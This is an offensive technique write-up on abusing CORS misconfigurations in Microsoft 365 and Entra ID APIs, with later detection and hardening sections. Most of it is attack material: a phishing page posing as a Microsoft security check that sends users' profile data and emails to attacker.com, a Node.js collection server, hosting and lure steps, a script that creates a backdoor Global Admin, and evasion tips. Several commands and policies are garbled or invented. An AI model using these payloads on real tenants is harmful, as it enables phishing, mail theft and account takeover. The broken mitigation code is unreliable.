| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-006 |
| MITRE ATT&CK v18.1 | T1057 - Process Discovery / T1087 - Account Discovery (API Context) |
| Tactic | Discovery, Collection |
| Platforms | M365/Entra ID |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All versions (M365 APIs, Azure Management APIs, SharePoint Online APIs) |
| Patched In | No patch; depends on API developer configuration |
| Author | SERVTEP – Artur Pchelnikau |
Cross-Origin Resource Sharing (CORS) misconfiguration allows web applications running on untrusted origins to access APIs that should be restricted. In M365 and Entra ID environments, misconfigured CORS policies can expose sensitive data and enable attackers to steal session tokens, read emails, access SharePoint files, or perform administrative actions without proper authorization. The attack exploits the browser’s Same-Origin Policy (SOP) by tricking it into allowing cross-origin requests to SaaS APIs.
Attack Surface: M365 APIs (Microsoft Graph, Office APIs, SharePoint, Exchange Online), Azure Management APIs, and custom SaaS applications integrated with M365. CORS headers like Access-Control-Allow-Origin, Access-Control-Allow-Credentials, and Access-Control-Allow-Methods are the primary vectors.
Business Impact: Data exfiltration, unauthorized access, and impersonation. An attacker can host a malicious web page that, when visited by a victim, automatically steals session tokens, reads emails, modifies files, or performs admin actions. The attack is invisible to the user and leaves minimal forensic evidence.
Technical Context: CORS attacks typically take seconds to execute after luring a victim to a malicious site. Detection is low if logging is disabled on the API side. Indicators include cross-origin API requests with preflight OPTIONS requests, unusual User-Agent headers, and token exfiltration via JavaScript.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.2.8 | Ensure CORS headers are properly validated; reject requests with wildcard origins |
| DISA STIG | SC-3 | Enforce API access controls; validate Origin header |
| CISA SCuBA | App Security - API Protection | Restrict CORS to trusted origins only |
| NIST 800-53 | SC-7, SI-4 | Boundary Protection; Information System Monitoring |
| GDPR | Art. 32 | Security of Processing - protect API endpoints from unauthorized access |
| DORA | Art. 9 | Protection and Prevention - APIs must validate CORS policies |
| NIS2 | Art. 21 | Cyber Risk Management - API security hardening |
| ISO 27001 | A.13.1.1, A.14.1.2 | Information Transfer; Access Control & Communication Security |
| ISO 27005 | API Risk Scenario | Unauthorized cross-origin access to sensitive APIs |
Supported Versions:
Tools:
Objective: Determine which M365 APIs are exposed and their CORS configurations.
Method: Using curl to Test CORS Headers
#!/bin/bash
# Test Microsoft Graph API for CORS
echo "Testing Microsoft Graph API for CORS..."
curl -i -X OPTIONS "https://graph.microsoft.com/v1.0/me" \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Content-Type"
# Expected response headers to look for:
# Access-Control-Allow-Origin
# Access-Control-Allow-Credentials
# Access-Control-Allow-Methods
# Access-Control-Max-Age
Expected Output (Vulnerable API):
HTTP/2 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
Access-Control-Max-Age: 3600
Expected Output (Secure API):
HTTP/2 200 OK
Access-Control-Allow-Origin: https://contoso.com
Access-Control-Allow-Credentials: false
Access-Control-Allow-Methods: GET
What to Look For:
Objective: Systematically test common M365 endpoints for CORS misconfigurations.
Bash Script:
#!/bin/bash
# Array of common M365 API endpoints
apis=(
"https://graph.microsoft.com/v1.0/me"
"https://graph.microsoft.com/v1.0/me/messages"
"https://graph.microsoft.com/v1.0/me/drive/root"
"https://outlook.office.com/api/v2.0/me/mailfolders/inbox/messages"
"https://sharepoint.com/sites/default/_api/web/lists"
"https://teams.microsoft.com/api/canbotbeaddedasteammember"
)
# Test each endpoint
for api in "${apis[@]}"; do
echo "Testing: $api"
curl -i -X OPTIONS "$api" \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: GET" \
2>/dev/null | grep -i "Access-Control"
echo "---"
done
Analysis:
Supported Versions: All M365 and Entra ID versions
Objective: Create a web page that silently steals session tokens when visited.
File: malicious.html
<!DOCTYPE html>
<html>
<head>
<title>Microsoft 365 Account Security Update</title>
</head>
<body>
<h1>Checking your account security...</h1>
<p>Please wait while we verify your Microsoft 365 account.</p>
<script>
// CORS exploit to steal tokens from misconfigured API
async function stealTokens() {
try {
// Attempt to access Microsoft Graph API with credentials
const response = await fetch('https://graph.microsoft.com/v1.0/me', {
method: 'GET',
credentials: 'include', // Send cookies/tokens with request
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
// Extract user info and send to attacker server
const payload = {
user: data.userPrincipalName,
displayName: data.displayName,
timestamp: new Date().toISOString()
};
// Send stolen data to attacker's server
fetch('https://attacker.com/api/log', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
console.log("Account verified. Access granted.");
// Now attempt to steal email
const mailResponse = await fetch('https://graph.microsoft.com/v1.0/me/messages?$top=10', {
method: 'GET',
credentials: 'include'
});
if (mailResponse.ok) {
const emails = await mailResponse.json();
// Exfiltrate email subjects and senders
const emailData = emails.value.map(email => ({
subject: email.subject,
from: email.from.emailAddress.address,
preview: email.bodyPreview
}));
fetch('https://attacker.com/api/emails', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(emailData)
});
}
} else {
console.log("Access denied or API not vulnerable.");
}
} catch (error) {
console.log("Error: " + error);
}
}
// Execute exploit on page load
stealTokens();
</script>
</body>
</html>
What This Does:
OpSec & Evasion:
microsoft-security-check.com)Detection Likelihood: Low to Medium (depends on API-side logging and browser monitoring)
Objective: Make the malicious page accessible and lure victims to it.
Method A: Using GitHub Pages (Free Hosting)
# Clone a repo or create a new one
git init malicious-site
cd malicious-site
# Create the HTML file
echo '<!DOCTYPE html>...' > index.html
# Push to GitHub
git add .
git commit -m "Add index"
git push origin main
# Access at: https://username.github.io/malicious-site/
Method B: Using a Cloud Server
# Deploy to Azure Web App
az webapp up --name microsoft-security-check --resource-group default
# Access at: https://microsoft-security-check.azurewebsites.net
Distribution Methods:
https://microsoft-security-check.com/verifyObjective: Collect and store stolen tokens and data from victims.
Attacker Server (Node.js Example):
// server.js - Attacker's data collection endpoint
const express = require('express');
const app = express();
app.use(express.json());
const stolenData = [];
app.post('/api/log', (req, res) => {
console.log("Stolen user info:", req.body);
stolenData.push(req.body);
res.json({ status: 'logged' });
});
app.post('/api/emails', (req, res) => {
console.log("Stolen emails:", req.body);
stolenData.push({
type: 'emails',
data: req.body,
timestamp: new Date()
});
res.json({ status: 'logged' });
});
app.listen(3000, () => console.log('Listening on port 3000'));
Run:
node server.js
OpSec & Evasion:
Supported Versions: All M365 and Entra ID versions (depends on victim having admin privileges)
Objective: Find M365 APIs that allow admin actions and have misconfigured CORS.
#!/bin/bash
# Test admin endpoints for CORS
admin_endpoints=(
"https://graph.microsoft.com/v1.0/users"
"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices"
"https://graph.microsoft.com/v1.0/tenantRelationships/managedTenants"
"https://graph.microsoft.com/v1.0/me/actions/createUmbracoAccount" # Custom admin endpoint
)
for endpoint in "${admin_endpoints[@]}"; do
echo "Testing: $endpoint"
curl -i -X OPTIONS "$endpoint" \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: POST" \
2>/dev/null | grep -i "Access-Control-Allow-Methods"
done
Expected Output (Vulnerable):
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
Objective: Create JavaScript that performs admin actions via CORS.
HTML with Admin Payload:
<!DOCTYPE html>
<html>
<body>
<h1>System Update in Progress...</h1>
<script>
// If victim is a Global Admin, this will create a new admin user
async function createBackdoorAdmin() {
try {
// Only works if victim is Global Admin and API allows CORS
const createUserPayload = {
"accountEnabled": true,
"displayName": "IT Support - Admin",
"mailNickname": "itsupport.admin",
"userPrincipalName": "itsupport.admin@contoso.com",
"passwordProfile": {
"forceChangePasswordNextSignIn": false,
"password": "P@ssw0rd1234567890!"
}
};
const response = await fetch('https://graph.microsoft.com/v1.0/users', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(createUserPayload)
});
if (response.ok) {
const newUser = await response.json();
console.log("Backdoor admin created: " + newUser.userPrincipalName);
// Send confirmation to attacker
fetch('https://attacker.com/api/success', {
method: 'POST',
body: JSON.stringify({ status: 'admin_created', user: newUser.userPrincipalName })
});
}
} catch (error) {
console.log("Error: " + error);
}
}
createBackdoorAdmin();
</script>
</body>
</html>
What This Does:
OpSec & Evasion:
Supported Versions: All M365 and Entra ID versions
Objective: Find APIs that have Access-Control-Allow-Origin: * (wildcard).
#!/bin/bash
# Scan for wildcard CORS policies
echo "Scanning for wildcard CORS..."
curl -i -X OPTIONS "https://graph.microsoft.com/v1.0/me" \
-H "Origin: https://any-site.com" 2>/dev/null | grep -i "Access-Control-Allow-Origin: \*"
Expected Output (Critically Vulnerable):
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: *
Objective: Make API calls from any origin to exfiltrate data.
// Exploit wildcard CORS
fetch('https://graph.microsoft.com/v1.0/me', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
})
.then(response => response.json())
.then(data => {
console.log("Stolen user data:", data);
// Send to attacker server
sendToAttacker(data);
});
Important: Wildcard CORS + Access-Control-Allow-Credentials: true is extremely rare but devastating when present, as it allows ANY site to access authenticated user data.
Network-Level IOCs:
/me/messages, /users, /directoryRoles) from non-standard clientsForensic Artifacts
Browser Artifacts (On Victim Machine):
M365 Side:
/graph.microsoft.com without interactive sign-inKQL Query to Detect CORS-Based Exfiltration:
AADSignInLogs
| where AuthenticationDetails has "nonInteractive"
| where ClientAppUsed == "Browser"
| where ResourceDisplayName == "Microsoft Graph"
| where OperationName == "Consent to application"
| project TimeGenerated, UserPrincipalName, ClientAppUsed, ResourceDisplayName
Restrict CORS to Trusted Origins Only: Do NOT use wildcard (*) in Access-Control-Allow-Origin header. Explicitly list trusted origins.
For Azure API Management:
https://contoso.com
https://app.contoso.com
For SharePoint Online:
*Disable Cross-Origin Credentials: Set Access-Control-Allow-Credentials: false unless cross-origin authentication is explicitly required.
For Custom APIs (Node.js Example):
app.use((req, res, next) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://contoso.com', 'https://app.contoso.com'];
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Methods', 'GET, POST');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.header('Access-Control-Allow-Credentials', 'false'); // IMPORTANT
}
next();
});
Implement Content Security Policy (CSP): Use CSP headers to prevent unauthorized scripts from making API calls.
For M365 SharePoint:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self' https://graph.microsoft.com
Monitor CORS Preflight Requests: Log all OPTIONS requests to sensitive APIs to detect reconnaissance.
KQL Detection Rule:
AppServiceHTTPLogs
| where httpMethod == "OPTIONS"
| where csHost like "graph.microsoft.com" or csHost like "outlook.office365.com"
| project TimeGenerated, cIp, csHost, csDomain, csUserName
| where timeGeneratedthis hour
Enforce Same-Site Cookie Policy: Set cookies to SameSite=Strict to prevent CSRF attacks that enable CORS-based attacks.
For M365 Exchange Online (PowerShell):
Set-HttpTransportRule -Identity "Default" -SetMsolUser -TLSReceiveConfiguration $true `
-SetAllowedECNHeaders "Strict"
Disable Unnecessary API Endpoints: If certain APIs are not needed, disable CORS entirely for them.
API Access Policies: Use Azure Policy to enforce CORS restrictions across all APIs in your environment.
Azure Policy (JSON):
{
"mode": "All",
"policyRule": {
"if": {
"field": "type",
"equals": "Microsoft.ApiManagement/service/apis"
},
"then": {
"effect": "deny",
"details": {
"evaluationDelay": "PT0M",
"conditions": [
{
"field": "Microsoft.ApiManagement/service/apis/corsPolicy/allowedOrigins[*]",
"contains": "*"
}
]
}
}
}
}
# Check CORS policy on SharePoint Online
Connect-SPOService -Url https://admin.sharepoint.com
Get-SPOTenant | Select-Object CORSExperienceLevel
# Check API Management CORS
Get-AzApiManagementApi -ResourceGroupName "your-rg" -ServiceName "your-apim" | ForEach-Object {
Write-Host "API: $($_.Name)"
Get-AzApiManagementApiPolicy -ResourceGroupName "your-rg" -ServiceName "your-apim" -ApiId $_.ApiId | Select-Object -ExpandProperty Content | grep -i "cors"
}
Expected Output (If Secure):
CORSExperienceLevel: Moderate
corsPolicy: origins=['https://contoso.com','https://app.contoso.com']
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Social Engineering | Attacker lures victim to malicious website |
| 2 | Discovery | [SAAS-API-006] | CORS misconfiguration abused to access APIs |
| 3 | Collection | [COLL-CLOUD-001] Email Exfiltration | Emails, files, Teams messages stolen via API |
| 4 | Lateral Movement | [LM-AUTH-029] OAuth Application Permissions | Attacker gains persistent app-based access |
| 5 | Privilege Escalation | [PE-ACCTMGMT-014] Global Admin Backdoor | Admin account created via CORS API abuse |
| 6 | Impact | [IMPACT-001] Data Destruction | Attacker modifies or deletes M365 data |